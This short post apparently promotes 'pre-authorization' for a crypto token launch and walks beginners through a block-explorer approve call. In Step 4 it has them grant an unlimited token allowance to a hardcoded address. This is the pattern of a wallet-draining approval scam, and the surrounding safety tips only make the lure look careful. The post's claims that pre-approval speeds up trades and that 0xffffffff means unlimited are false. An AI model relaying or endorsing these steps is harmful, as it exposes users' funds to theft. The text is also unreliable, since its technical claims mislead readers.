Want to get ahead when the TGE project launches? Pre-authorization is key. Today, we'll break down the entire process to ensure even beginners can handle it in one go.

**Preparation Stage**
First, confirm the project's smart contract address. It's recommended to verify it through official channels in advance—don't rush into operation. Confirming accuracy is the way to go.

**Detailed Operation Steps**

Step 1: Open your Web3 wallet and go to the Discover page. Copy the contract address, then view it in a block explorer to locate the project's token contract page.

Step 2: Switch to the contract interaction interface. Find the "Contract" option in the top menu bar, then select "Write as Proxy" or directly "Write Contract."

Step 3: Connect your wallet. Click the "Connect to Web3" button, scan the QR code to authorize login, and select the wallet application you're using.

Step 4: Find the approve function. Fill in the spender address as 0xb300000b72DEAEb607a12d5f54773D1C19c7028d (the project's contract address, in standard format), and enter 0xffffffff in the amount field, which means unlimited approval. After confirmation, click Write, and if a popup appears again, set it to unlimited.

Step 5: When the time comes, directly exchange tokens in your wallet. No need to wait for on-chain approval confirmation—this is the advantage of pre-authorization, making transactions faster than others.

**Tips**
This method is especially effective for participating in TGE projects, helping you stay ahead at critical moments. But remember to double-check contract information before each operation—caution ensures safe profit. Feel free to reach out for questions and discussions!
